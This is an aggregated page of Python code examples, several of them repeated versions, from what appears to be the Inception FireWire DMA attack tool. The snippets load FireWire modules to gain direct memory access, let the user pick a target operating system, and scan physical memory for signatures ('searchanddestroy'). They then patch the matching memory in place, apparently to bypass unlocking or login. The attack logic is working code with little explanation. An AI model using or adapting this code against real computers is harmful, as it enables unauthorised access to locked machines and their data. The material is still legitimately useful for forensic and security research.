예제 #1
0
 def __init__(self):
     '''
     Constructor
     Initializes the bus and sets device, OUI variables
     '''
     self._bus = Bus()
     try:
         self._bus.enable_sbp2()
     except IOError:
         poll('FireWire modules do not seem to be loaded. Load them? ' +
              '[Y/n]: ')
         answer = input().lower()
         if answer in ['y', '']:
             status = call('modprobe firewire-ohci', shell=True)
             if status == 0:
                 try:
                     self._bus.enable_sbp2()
                 except IOError:
                     time.sleep(2) # Give some more time
                     self._bus.enable_sbp2() # If this fails, fail hard
                 info('FireWire modules loaded successfully')
             else:
                 fail('Could not load FireWire modules')
         else:
             fail('FireWire modules not loaded')
             
     # Enable SBP-2 support to ensure we get DMA
     self._devices = self._bus.devices()
     self._oui = self.init_OUI()
     self._vendors = []
     self._max_request_size = cfg.PAGESIZE
예제 #2
0
    def __init__(self):
        '''
        Constructor
        Initializes the bus and sets device, OUI variables
        '''
        self._bus = Bus()
        try:
            self._bus.enable_sbp2()
        except IOError:
            poll('FireWire modules do not seem to be loaded. Load them? ' +
                 '[Y/n]: ')
            answer = input().lower()
            if answer in ['y', '']:
                status = call('modprobe firewire-ohci', shell=True)
                if status == 0:
                    try:
                        self._bus.enable_sbp2()
                    except IOError:
                        time.sleep(2)  # Give some more time
                        self._bus.enable_sbp2()  # If this fails, fail hard
                    info('FireWire modules loaded successfully')
                else:
                    fail('Could not load FireWire modules')
            else:
                fail('FireWire modules not loaded')

        # Enable SBP-2 support to ensure we get DMA
        self._devices = self._bus.devices()
        self._oui = self.init_OUI()
        self._vendors = []
        self._max_request_size = cfg.PAGESIZE
예제 #3
0
 def businfo(self):
     '''
     Prints all available information of the devices connected to the FireWire
     bus, looks up missing vendor names & populates the internal vendor
     list
     '''
     if not self._devices:
         fail('No FireWire devices detected on the bus')
     msg('*', 'FireWire devices on the bus (names may appear blank):')
     separator()
     for n, device in enumerate(self._devices, 1):
         vid = device.vendor_id
         vendorname = device.vendor_name.decode(settings.encoding)
         # Resolve if name not given by device vendor ID
         if not vendorname:
             vendorname = self.resolve_oui(vid) 
         self._vendors.append(vendorname)
         pid = device.product_id
         productname = device.product_name.decode(settings.encoding)
         msg(n, 'Vendor (ID): {0} ({1:#x}) | Product (ID): {2} ({3:#x})'.format(vendorname, vid, productname, pid))
     separator()
예제 #4
0
 def businfo(self):
     """
     Prints all available information of the devices connected to the FW
     bus, looks up missing vendor names & populates the internal vendor
     list
     """
     if not self._devices:
         fail("No FireWire devices detected on the bus")
     info("FireWire devices on the bus (names may appear blank):")
     separator()
     for n, device in enumerate(self._devices, 1):
         vid = device.vendor_id
         vendorname = device.vendor_name.decode(cfg.encoding)
         # Resolve if name not given by device vendor ID
         if not vendorname:
             vendorname = self.resolve_oui(vid)
         self._vendors.append(vendorname)
         pid = device.product_id
         productname = device.product_name.decode(cfg.encoding)
         info(
             "Vendor (ID): {0} ({1:#x}) | Product (ID): {2} ({3:#x})".format(vendorname, vid, productname, pid),
             sign=n,
         )
     separator()
예제 #5
0
def attack(targets):
    '''
    Main attack logic
    '''
    # Initialize and lower DMA shield
    if not cfg.filemode:
        try:
            fw = FireWire()
        except IOError:
            fail('Could not initialize FireWire. Are the modules loaded into ' +
                 'the kernel?')
        start = time.time()
        device_index = fw.select_device()
        # Print selection
        info('Selected device: {0}'.format(fw.vendors[device_index]))

    # List targets
    list_targets(targets)
       
    # Select target
    target = select_target(targets)
    
    # Print selection. If verbose, print selection with signatures
    info('Selected target: ' + target['OS'] + ': ' + target['name'])
    if cfg.verbose:
        printdetails(target)
    
    # Lower DMA shield or use a file as input, and set memsize
    device = None
    memsize = None
    if cfg.filemode:
        device = MemoryFile(cfg.filename, cfg.PAGESIZE)
        memsize = os.path.getsize(cfg.filename)
    else:
        elapsed = int(time.time() - start)
        device = fw.getdevice(device_index, elapsed)
        memsize = cfg.memsize
    
    # Perform parallel search for all signatures for each OS at the known 
    # offsets
    info('DMA shields should be down by now. Attacking...')
    address, chunks = searchanddestroy(device, target, memsize)
    if not address:
        # TODO: Fall-back sequential search?
        return None, None
    
    # Signature found, let's patch
    mask = 0xfffff000 # Mask away the lower bits to find the page number
    page = int((address & mask) / cfg.PAGESIZE)
    info('Signature found at {0:#x} (in page # {1})'.format(address, page))
    if not cfg.dry_run:
        success = patch(device, address, chunks)
        if success:
            info('Write-back verified; patching successful')
            if cfg.egg:
                sound.play('data/inception.wav')
            info('BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!')
        else:
            warn('Write-back could not be verified; patching *may* have been ' +
                 'unsuccessful')
    
    #Clean up
    device.close()
    
    return address, page
예제 #6
0
def searchanddestroy(device, target, memsize):
    '''
    Main search loop
    '''
    pageaddress = cfg.startaddress
    signatures = target['signatures']

    # Add signature lengths in bytes to the dictionary, and replace integer
    # representations of the signatures and patches with bytes
    for signature in signatures:
        signature['length'] = siglen(signature['chunks'])
        offsets = signature['offsets'] # Offsets within pages
        for chunk in signature['chunks']:
            chunk['chunk'] = int2binhex(chunk['chunk'])
            try:
                chunk['patch'] = int2binhex(chunk['patch'])
            except KeyError:
                chunk['patch'] = None
    
    # Progress bar
    prog = ProgressBar(max_value = memsize, total_width = cfg.termwidth, 
                       print_data = cfg.verbose)

    try:
        # Build a batch of read requests of the form: [(addr1, len1), ...] and
        # a corresponding match vector: [(chunks1, patchoffset1), ...]
        j = 0
        count = 0
        cand = b'\x00'
        r = []
        p = []
        while pageaddress < memsize:
            sig_len = len(signatures)
            
            for i in range(sig_len): # Iterate over signatures
                offsets = signatures[i]['offsets'] # Offsets within pages
                if isinstance(offsets, int):
                    offsets = [offsets] # Create a list if single offset
                chunks = signatures[i]['chunks'] # The chunks that is the sig
                length = signatures[i]['length'] # Sig length in bytes
                offset_len = len(offsets)
                
                for n in range(offset_len): # Iterate over offsets
                    address = pageaddress + offsets[n] + cfg.PAGESIZE * j
                    r.append((address, length))
                    p.append(chunks)
                    count += 1
                    # If we have built a full vector, read from memory and
                    # compare to the corresponding signatures
                    if count == cfg.vectorsize:
                        # Read data from device
                        m = 0
                        for caddr, cand  in device.readv(r):
                            if match(cand, p[m]):
                                print()
                                return (caddr, p[m])
                            m += 1                    
                        # Jump to next pages (we're finished with these)
                        mask = ~(cfg.PAGESIZE - 0x01)
                        pageaddress = address & mask
                        if sig_len == i and offset_len == n:
                            pageaddress = pageaddress + cfg.PAGESIZE
                            
                        # Zero out counters and vectors
                        j = 0
                        count = 0
                        r = []
                        p = []
                        
                        # Print status
                        prog.update_amount(pageaddress, cand)
                        prog.draw()
                         
            j += 1 # Increase read request count
            
    except IOError:
        print()
        fail('I/O Error, make sure FireWire interfaces are properly connected')
    except KeyboardInterrupt:
        print()
        fail('Aborted')
        raise KeyboardInterrupt
    
    # If we get here, we haven't found anything :-/
    print()    
    return (None, None)
예제 #7
0
# Error handling for cases where libforensic1394 is not installed in /usr/lib
try:
    from forensic1394.bus import Bus
except OSError:
    host_os = detectos()
    try:
        path = os.environ['LD_LIBRARY_PATH']
    except KeyError:
        path = ''
    # If the host OS is Linux, we may need to set LD_LIBRARY_PATH to make python
    # find the libs
    if host_os == cfg.LINUX and '/usr/local/lib' not in path:
        os.putenv('LD_LIBRARY_PATH', "/usr/local/lib")
        restart()
    else:
        fail('Could not load libforensic1394')

# List of FireWire OUIs
OUI = {}


class FireWire:
    '''
    FireWire wrapper class to handle some attack-specific functions
    '''
    def __init__(self):
        '''
        Constructor
        Initializes the bus and sets device, OUI variables
        '''
        self._bus = Bus()
예제 #8
0
# Error handling for cases where libforensic1394 is not installed in /usr/lib
try:
    from forensic1394.bus import Bus
except OSError:
    host_os = detectos()
    try:
        path = os.environ['LD_LIBRARY_PATH']
    except KeyError:
        path = ''
    # If the host OS is Linux, we may need to set LD_LIBRARY_PATH to make python
    # find the libs
    if host_os == cfg.LINUX and '/usr/local/lib' not in path:
        os.putenv('LD_LIBRARY_PATH', "/usr/local/lib")
        restart()
    else:
        fail('Could not load libforensic1394')

# List of FireWire OUIs
OUI = {}

class FireWire:
    '''
    FireWire wrapper class to handle some attack-specific functions
    '''

    def __init__(self):
        '''
        Constructor
        Initializes the bus and sets device, OUI variables
        '''
        self._bus = Bus()
예제 #9
0
def searchanddestroy(device, target, memsize):
    '''
    Main search loop
    '''
    pageaddress = settings.startaddress
    signatures = target['signatures']

    # Add signature lengths in bytes to the dictionary, and replace integer
    # representations of the signatures and patches with bytes
    for signature in signatures:
        signature['length'] = siglen(signature['chunks'])
        offsets = signature['offsets'] # Offsets within pages
        for chunk in signature['chunks']:
            chunk['chunk'] = int2binhex(chunk['chunk'])
            try:
                chunk['patch'] = int2binhex(chunk['patch'])
            except KeyError:
                chunk['patch'] = None

    try:
        # Build a batch of read requests of the form: [(addr1, len1), ...] and
        # a corresponding match vector: [(chunks1, patchoffset1), ...]
        j = 0
        count = 0
        cand = b'\x00'
        r = []
        p = []
        while pageaddress < memsize:
            sig_len = len(signatures)
            
            for i in range(sig_len): # Iterate over signatures
                offsets = signatures[i]['offsets'] # Offsets within pages
                if isinstance(offsets, int):
                    offsets = [offsets] # Create a list if single offset
                chunks = signatures[i]['chunks'] # The chunks that is the sig
                length = signatures[i]['length'] # Sig length in bytes
                offset_len = len(offsets)
                
                for n in range(offset_len): # Iterate over offsets
                    address = pageaddress + offsets[n] + settings.PAGESIZE * j
                    r.append((address, length))
                    p.append(chunks)
                    count += 1
                    # If we have built a full vector, read from memory and
                    # compare to the corresponding signatures
                    if count == settings.vectorsize:
                        # Read data from device
                        m = 0
                        for caddr, cand  in device.readv(r):
                            if match(cand, p[m]):
                                print()
                                return (caddr, p[m])
                            m += 1                    
                        # Jump to next pages (we're finished with these)
                        mask = ~(settings.PAGESIZE - 0x01)
                        pageaddress = address & mask
                        if sig_len == i and offset_len == n:
                            pageaddress = pageaddress + settings.PAGESIZE
                            
                        # Zero out counters and vectors
                        j = 0
                        count = 0
                        r = []
                        p = []
                        
                        # Print status
                        mibaddr = pageaddress // settings.MiB
                        sys.stdout.write('[*] Searching, {0:>4d} MiB so far'.format(mibaddr))
                        if settings.verbose:
                            sys.stdout.write('. Sample data read: {0}'.format(bytes2hexstr(cand)[0:24]))
                        sys.stdout.write('\r')
                        sys.stdout.flush()
                         
            j += 1 # Increase read request count
            
    except IOError:
        print()
        fail('I/O Error, make sure FireWire interfaces are properly connected')
    except KeyboardInterrupt:
        print()
        fail('Aborted')
        raise KeyboardInterrupt
    
    # If we get here, we haven't found anything :-/
    print()    
    return (None, None)
예제 #10
0
# Error handling for cases where libforensic1394 is not installed in /usr/lib
try:
    from forensic1394.bus import Bus
except OSError:
    host_os = detectos()
    try:
        path = os.environ["LD_LIBRARY_PATH"]
    except KeyError:
        path = ""
    # If the host OS is Linux, we may need to set LD_LIBRARY_PATH to make python
    # find the libs
    if host_os == cfg.LINUX and "/usr/local/lib" not in path:
        os.putenv("LD_LIBRARY_PATH", "/usr/local/lib")
        restart()
    else:
        fail("Could not load libforensic1394")

# List of FireWire OUIs
OUI = {}


class FireWire:
    """
    FireWire wrapper class to handle some attack-specific functions
    """

    def __init__(self):
        """
        Constructor
        Initializes the bus and sets device, OUI variables
        """
예제 #11
0
def attack(targets):
    '''
    Main attack logic
    '''
    # Initialize and lower DMA shield
    if not settings.filemode:
        try:
            fw = FireWire()
        except IOError:
            fail(
                'Could not initialize FireWire. Are the modules loaded into the kernel?'
            )
        start = time.time()
        device_index = fw.select_device()
        # Print selection
        msg('*', 'Selected device: {0}'.format(fw.vendors[device_index]))

    # List targets
    msg('*', 'Available targets:')
    separator()
    for number, target in enumerate(targets, 1):
        msg(number, target['OS'] + ': ' + target['name'])
    separator()

    # Select target
    target = select_target(targets)

    # Print selection. If verbose, print selection with signatures
    msg('*', 'Selected target: ' + target['OS'] + ': ' + target['name'])
    if settings.verbose:
        printdetails(target)

    # Lower DMA shield or use a file as input, and set memsize
    device = None
    memsize = None
    if settings.filemode:
        device = MemoryFile(settings.filename, settings.PAGESIZE)
        memsize = os.path.getsize(settings.filename)
    else:
        elapsed = int(time.time() - start)
        device = fw.getdevice(device_index, elapsed)
        memsize = settings.memsize

    # Perform parallel search for all signatures for each OS at the known offsets
    msg('*', 'DMA shields down. Attacking...')
    address, chunks = searchanddestroy(device, target, memsize)
    if not address:
        # TODO: Fall-back sequential search?
        return None, None

    # Signature found, let's patch
    mask = 0xfffff000  # Mask away the lower bits to find the page number
    page = int((address & mask) / settings.PAGESIZE)
    msg('*', 'Signature found at {0:#x} (@page # {1})'.format(address, page))
    if not settings.dry_run:
        success = patch(device, address, chunks)
        if success:
            msg('*', 'Write-back verified; patching successful')
            msg('*', 'BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!')
        else:
            msg(
                '!',
                'Write-back could not be verified; patching may have been unsuccessful.'
            )

    #Clean up
    device.close()

    return address, page
예제 #12
0
def searchanddestroy(device, target, memsize):
    '''
    Main search loop
    '''
    pageaddress = settings.startaddress
    signatures = target['signatures']

    # Add signature lengths in bytes to the dictionary, and replace integer
    # representations of the signatures and patches with bytes
    for signature in signatures:
        signature['length'] = siglen(signature['chunks'])
        offsets = signature['offsets']  # Offsets within pages
        for chunk in signature['chunks']:
            chunk['chunk'] = int2binhex(chunk['chunk'])
            try:
                chunk['patch'] = int2binhex(chunk['patch'])
            except KeyError:
                chunk['patch'] = None

    try:
        # Build a batch of read requests of the form: [(addr1, len1), ...] and
        # a corresponding match vector: [(chunks1, patchoffset1), ...]
        j = 0
        count = 0
        cand = b'\x00'
        r = []
        p = []
        while pageaddress < memsize:
            sig_len = len(signatures)

            for i in range(sig_len):  # Iterate over signatures
                offsets = signatures[i]['offsets']  # Offsets within pages
                if isinstance(offsets, int):
                    offsets = [offsets]  # Create a list if single offset
                chunks = signatures[i]['chunks']  # The chunks that is the sig
                length = signatures[i]['length']  # Sig length in bytes
                offset_len = len(offsets)

                for n in range(offset_len):  # Iterate over offsets
                    address = pageaddress + offsets[n] + settings.PAGESIZE * j
                    r.append((address, length))
                    p.append(chunks)
                    count += 1
                    # If we have built a full vector, read from memory and
                    # compare to the corresponding signatures
                    if count == settings.vectorsize:
                        # Read data from device
                        m = 0
                        for caddr, cand in device.readv(r):
                            if match(cand, p[m]):
                                print()
                                return (caddr, p[m])
                            m += 1
                        # Jump to next pages (we're finished with these)
                        mask = ~(settings.PAGESIZE - 0x01)
                        pageaddress = address & mask
                        if sig_len == i and offset_len == n:
                            pageaddress = pageaddress + settings.PAGESIZE

                        # Zero out counters and vectors
                        j = 0
                        count = 0
                        r = []
                        p = []

                        # Print status
                        mibaddr = pageaddress // settings.MiB
                        sys.stdout.write(
                            '[*] Searching, {0:>4d} MiB so far'.format(
                                mibaddr))
                        if settings.verbose:
                            sys.stdout.write('. Sample data read: {0}'.format(
                                bytes2hexstr(cand)[0:24]))
                        sys.stdout.write('\r')
                        sys.stdout.flush()

            j += 1  # Increase read request count

    except IOError:
        print()
        fail('I/O Error, make sure FireWire interfaces are properly connected')
    except KeyboardInterrupt:
        print()
        fail('Aborted')
        raise KeyboardInterrupt

    # If we get here, we haven't found anything :-/
    print()
    return (None, None)
예제 #13
0
def attack(targets):
    '''
    Main attack logic
    '''
    # Initialize and lower DMA shield
    if not settings.filemode:
        try:
            fw = FireWire()
        except IOError:
            fail('Could not initialize FireWire. Are the modules loaded into the kernel?')
        start = time.time()
        device_index = fw.select_device()
        # Print selection
        msg('*', 'Selected device: {0}'.format(fw.vendors[device_index]))

    # List targets
    msg('*', 'Available targets:')
    separator()
    for number, target in enumerate(targets, 1):
                msg(number, target['OS'] + ': ' + target['name'])
    separator()
       
    # Select target
    target = select_target(targets)
    
    # Print selection. If verbose, print selection with signatures
    msg('*', 'Selected target: ' + target['OS'] + ': ' + target['name'])
    if settings.verbose:
        printdetails(target)
    
    # Lower DMA shield or use a file as input, and set memsize
    device = None
    memsize = None
    if settings.filemode:
        device = MemoryFile(settings.filename, settings.PAGESIZE)
        memsize = os.path.getsize(settings.filename)
    else:
        elapsed = int(time.time() - start)
        device = fw.getdevice(device_index, elapsed)
        memsize = settings.memsize
    
    # Perform parallel search for all signatures for each OS at the known offsets
    msg('*', 'DMA shields down. Attacking...')
    address, chunks = searchanddestroy(device, target, memsize)
    if not address:
        # TODO: Fall-back sequential search?
        return None, None
    
    # Signature found, let's patch
    mask = 0xfffff000 # Mask away the lower bits to find the page number
    page = int((address & mask) / settings.PAGESIZE)
    msg('*', 'Signature found at {0:#x} (@page # {1})'.format(address, page))
    if not settings.dry_run:
        success = patch(device, address, chunks)
        if success:
            msg('*', 'Write-back verified; patching successful')
            msg('*', 'BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!')
        else:
            msg('!', 'Write-back could not be verified; patching may have been unsuccessful.')
    
    #Clean up
    device.close()
    
    return address, page